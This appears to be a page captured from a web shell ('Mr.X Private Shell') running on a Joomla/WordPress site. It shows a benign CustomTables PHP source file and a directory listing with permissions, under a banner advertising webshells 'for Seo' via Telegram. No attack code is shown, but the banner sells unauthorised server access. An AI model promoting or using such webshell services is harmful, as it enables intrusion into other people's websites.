__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * CustomTables Joomla! 3.x/4.x/5.x Component and WordPress 6.x Plugin * @package Custom Tables * @author Ivan Komlev <[email protected]> * @link https://joomlaboat.com * @copyright (C) 2018-2024. Ivan Komlev * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html **/ // no direct access defined('_JEXEC') or die(); use CustomTables\Inputbox; class ESInputBox { var string $requiredLabel = ''; var CustomTables\CT $ct; function __construct(CustomTables\CT &$ct) { $this->ct = &$ct; $this->requiredLabel = 'COM_CUSTOMTABLES_REQUIREDLABEL'; } function renderFieldBox(array $fieldrow, ?array $row, array $option_list, string $onchange = ''): ?string { $Inputbox = new Inputbox($this->ct, $fieldrow, $option_list, false, $onchange); /* $realFieldName = $fieldrow['realfieldname']; if ($this->ct->Env->frmt == 'json') { //This is the field options for JSON output $shortFieldObject = Fields::shortFieldObject($fieldrow, ($row[$realFieldName] ?? null), $option_list); if ($fieldrow['type'] == 'sqljoin') { $typeParams = CTMiscHelper::csv_explode(',', $fieldrow['typeparams']); if (isset($option_list[2]) and $option_list[2] != '') $typeParams[2] = $option_list[2];//Overwrites field type filter parameter. $typeParams[6] = 'json'; // to get the Object instead of the HTML element. $attributes_ = ''; $value = ''; $place_holder = ''; $class = ''; $list_of_values = HTMLHelper::_('ESSQLJoin.render', $typeParams, $value, false, $this->ct->Languages->Postfix, $this->ct->Env->field_input_prefix . $fieldrow['fieldname'], $place_holder, $class, $attributes_); $shortFieldObject['value_options'] = $list_of_values; } return $shortFieldObject; } */ $value = $Inputbox->getDefaultValueIfNeeded($row); return $Inputbox->render($value, $row); } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| codemirror | Folder | 0775 |
|
|
| customtables | Folder | 0775 |
|
|
| extratasks | Folder | 0775 |
|
|
| fieldtypes | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| tagprocessor | Folder | 0775 |
|
|
| twig | Folder | 0775 |
|
|
| virtualselect | Folder | 0775 |
|
|
| ct-common-joomla.php | File | 22.88 KB | 0664 |
|
| ct-database-joomla.php | File | 37.47 KB | 0664 |
|
| esinputbox.php | File | 1.95 KB | 0664 |
|
| importcsv.php | File | 12.15 KB | 0664 |
|
| layout.php | File | 2.61 KB | 0664 |
|
| layouteditor.php | File | 6.4 KB | 0664 |
|
| pagination.php | File | 18.72 KB | 0664 |
|
| unused-exportusergroups.php | File | 3.35 KB | 0664 |
|
| uploader.php | File | 12.73 KB | 0664 |
|